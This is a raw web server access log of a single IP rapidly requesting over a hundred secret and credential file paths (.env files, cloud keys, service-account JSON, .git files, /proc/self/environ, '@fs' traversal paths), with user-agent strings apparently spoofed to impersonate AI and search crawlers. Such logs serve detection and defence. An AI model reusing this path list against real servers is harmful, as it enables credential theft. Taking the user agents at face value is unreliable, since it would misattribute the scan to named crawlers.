35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /aws.env HTTP/2.0" 200 7015 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 7 **0/7253**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.gcloud/credentials HTTP/2.0" 200 7095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 5 **0/5331**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /docker/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5853**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.production HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 10 **0/10041**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /backend/.env HTTP/2.0" 403 10852 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 10 **0/10281**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /app/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4922**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /env.json HTTP/2.0" 200 6986 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 11 **0/11602**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.git/HEAD HTTP/2.0" 403 10849 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 11 **0/11456**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /laravel/.env HTTP/2.0" 403 10852 "-" "TLM-Audit-Scanner/1.0" 4 **0/4918**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.git/config HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 10 **0/10436**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /root/.aws/credentials HTTP/2.0" 200 7089 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 4 **0/4978**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /config/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 12 **0/12299**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.old HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 12 **0/12939**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.aws/credentials HTTP/2.0" 200 7117 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 12 **0/12603**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET / HTTP/2.0" 200 6995 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0" 10 **0/10823**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.staging HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 9 **0/9506**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /root/.aws/config HTTP/2.0" 200 7053 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 12 **0/12867**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /api/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 14 **0/14584**
35.234.173.128 - - [03/Aug/2026:19:57:23 -0700] "GET /.env.bak HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 16 **0/16231**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /.azure/credentials HTTP/2.0" 200 7054 "-" "TLM-Audit-Scanner/1.0" 2 **0/2920**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /.gcloud/credentials.json HTTP/2.0" 200 7090 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 2 **0/2643**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /credentials.json HTTP/2.0" 200 7070 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 3 **0/3246**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /serviceAccountKey.json HTTP/2.0" 200 7076 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 6 **0/6048**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /secrets.json HTTP/2.0" 200 7030 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 6 **0/6326**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /config.json HTTP/2.0" 200 6998 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 3 **0/3987**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /service-account.json HTTP/2.0" 200 7084 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3 **0/3737**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /firebase-adminsdk.json HTTP/2.0" 200 7141 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 3 **0/3147**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /config.php HTTP/2.0" 200 7074 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 2 **0/2983**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /config/database.yml HTTP/2.0" 200 7023 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 4 **0/4736**
35.234.173.128 - - [03/Aug/2026:19:57:26 -0700] "GET /google-services.json HTTP/2.0" 200 7079 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 10 **0/10286**
35.234.173.128 - - [03/Aug/2026:19:57:27 -0700] "GET /.kube/config HTTP/2.0" 200 6985 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 2 **0/2716**
35.234.173.128 - - [03/Aug/2026:19:57:27 -0700] "GET /.docker/config.json HTTP/2.0" 200 7013 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 3 **0/3116**
35.234.173.128 - - [03/Aug/2026:19:57:27 -0700] "GET /config.js HTTP/2.0" 200 7042 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 13 **0/13531**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /config/secrets.yml HTTP/2.0" 200 7008 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 3 **0/3858**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /application.yml HTTP/2.0" 200 7059 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 4 **0/4940**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /actuator/env HTTP/2.0" 200 7057 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 3 **0/3100**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /public/.env HTTP/2.0" 403 10851 "-" "TLM-Audit-Scanner/1.0" 6 **0/6673**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /@fs/../.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5144**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /.anthropic/config.json HTTP/2.0" 200 7037 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 12 **0/12936**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /actuator/configprops HTTP/2.0" 200 7016 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 13 **0/13990**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /backup/.env HTTP/2.0" 403 10851 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 7 **0/7630**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /application/.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 7 **0/7294**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /secrets.env HTTP/2.0" 200 7044 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 15 **0/15131**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /sendgrid.env HTTP/2.0" 200 7070 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5 **0/5615**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /.git/logs/HEAD HTTP/2.0" 200 7016 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5816**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /frontend/.env HTTP/2.0" 403 10853 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 9 **0/9456**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /.openai/config.json HTTP/2.0" 200 7019 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 11 **0/11594**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /@fs/proc/self/environ HTTP/2.0" 200 7037 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 10 **0/10185**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /src/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 5 **0/5108**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /@fs/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 10 **0/10496**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /.docker/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 9 **0/9027**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /portal/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 8 **0/8601**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /v1/.env HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 10 **0/10906**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /@fs/app/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 12 **0/12950**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /v2/.env HTTP/2.0" 403 10847 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 13 **0/13714**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /.git/index HTTP/2.0" 403 10850 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 14 **0/14410**
35.234.173.128 - - [03/Aug/2026:19:57:30 -0700] "GET /server/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 15 **0/15814**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /web/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 6 **0/6355**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /app/.env.production HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 7 **0/7106**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /app/.env.local HTTP/2.0" 403 10854 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 3 **0/3737**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /docker-compose.yml HTTP/2.0" 200 7027 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 9 **0/9837**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /config.env HTTP/2.0" 200 6992 "-" "anthropic-ai" 3 **0/3430**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /client/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4286**
35.234.173.128 - - [03/Aug/2026:19:57:31 -0700] "GET /crm/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 3 **0/3362**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /.azure/accessTokens.json HTTP/2.0" 200 7008 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 3 **0/3251**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /creds.json HTTP/2.0" 200 7033 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 5 **0/5829**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /cloud.json HTTP/2.0" 200 6969 "-" "TLM-Audit-Scanner/1.0" 2 **0/2322**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /.azure/azureProfile.json HTTP/2.0" 200 7030 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 2 **0/2722**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /appsettings.json HTTP/2.0" 200 7070 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 2 **0/2797**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /secret.json HTTP/2.0" 200 7009 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 4 **0/4007**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /google-service-account.json HTTP/2.0" 200 7081 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 2 **0/2397**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /service-account-key.json HTTP/2.0" 200 7071 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 3 **0/3017**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /client_secret.json HTTP/2.0" 200 7041 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3 **0/3237**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /aws-credentials.json HTTP/2.0" 200 7074 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 1 **0/1976**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /privatekey.json HTTP/2.0" 200 7069 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 1 **0/1951**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /service_account.json HTTP/2.0" 200 6969 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2 **0/2308**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /key.json HTTP/2.0" 200 7067 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 1 **0/1744**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /google-credentials.json HTTP/2.0" 200 7007 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 16 **0/16597**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /keyfile.json HTTP/2.0" 200 7111 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 3 **0/3909**
35.234.173.128 - - [03/Aug/2026:19:57:34 -0700] "GET /firebase-service-account.json HTTP/2.0" 200 7076 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 6 **0/6657**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /app/config.json HTTP/2.0" 200 7059 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 4 **0/4729**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /api-keys.json HTTP/2.0" 200 7001 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 4 **0/4997**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /gcp-credentials.json HTTP/2.0" 200 7149 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 4 **0/4677**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /backend/config.json HTTP/2.0" 200 7034 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 6 **0/6299**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /backend/service-account.json HTTP/2.0" 200 7051 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4 **0/4177**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /config/credentials.yml.enc HTTP/2.0" 200 7061 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5067**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /deploy/service-account.json HTTP/2.0" 200 6996 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 7 **0/7194**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /docker-compose.yaml HTTP/2.0" 200 7047 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 7 **0/7756**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /api/keys.json HTTP/2.0" 200 7109 "-" "TLM-Audit-Scanner/1.0" 10 **0/10817**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /config.yaml HTTP/2.0" 200 6988 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 5 **0/5358**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /backend/aws.json HTTP/2.0" 200 6975 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 6 **0/6928**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /secrets.yaml HTTP/2.0" 200 6970 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 7 **0/7326**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /config/service-account.json HTTP/2.0" 200 7047 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 11 **0/11672**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /config/application.yml HTTP/2.0" 200 7042 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 10 **0/10063**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /secrets.yml HTTP/2.0" 200 7070 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 6 **0/6319**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/app/.env.local HTTP/2.0" 403 10858 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 5 **0/5797**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/var/www/.env HTTP/2.0" 403 10856 "-" "TLM-Audit-Scanner/1.0" 6 **0/6707**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/home/node/.aws/credentials HTTP/2.0" 200 7088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 10 **0/10910**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/root/.aws/credentials HTTP/2.0" 200 7056 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 12 **0/12179**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/data/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 10 **0/10881**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/.env.development HTTP/2.0" 200 7108 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 13 **0/13730**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/app/.env.production HTTP/2.0" 403 10863 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 8 **0/8859**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /secrets/gcp.json HTTP/2.0" 200 7016 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 11 **0/11723**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/.env.local HTTP/2.0" 403 10854 "-" "anthropic-ai" 7 **0/7794**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /aws.env.json HTTP/2.0" 200 6969 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 14 **0/14814**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /aws-ses.json HTTP/2.0" 200 7033 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 21 **0/21313**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /config.yml HTTP/2.0" 200 7048 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 3 **0/3426**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /secrets/aws.json HTTP/2.0" 200 7112 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 4 **0/4037**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/.env.production HTTP/2.0" 403 10859 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 11 **0/11916**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/var/www/html/.env HTTP/2.0" 403 10861 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 13 **0/13279**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /@fs/usr/src/app/.env HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 10 **0/10564**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws_s3_config.json HTTP/2.0" 200 7036 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 3 **0/3665**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /config/aws.json HTTP/2.0" 200 7041 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 3 **0/3699**
35.234.173.128 - - [03/Aug/2026:19:57:38 -0700] "GET /api/config.json HTTP/2.0" 200 7075 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3150 **3/3150947**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws-codecommit/ HTTP/2.0" 200 7136 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5248**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws_s3_bucket HTTP/2.0" 200 7081 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 4 **0/4296**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/bucket HTTP/2.0" 200 6999 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 6 **0/6037**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /config/aws.php HTTP/2.0" 200 7085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5227**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/buckets HTTP/2.0" 200 7077 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 7 **0/7764**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/ses/smtp.env HTTP/2.0" 200 7078 "-" "anthropic-ai" 6 **0/6797**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /config/aws.yml HTTP/2.0" 200 7103 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 3 **0/3295**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/s3/env.env HTTP/2.0" 200 6992 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 4 **0/4288**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /config/aws_ses.php HTTP/2.0" 200 7057 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4787**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /old/aws_config HTTP/2.0" 200 7023 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 9 **0/9378**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/config/s3.json HTTP/2.0" 200 7071 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 20 **0/20989**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /config/aws.ini HTTP/2.0" 200 7110 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 14 **0/14917**
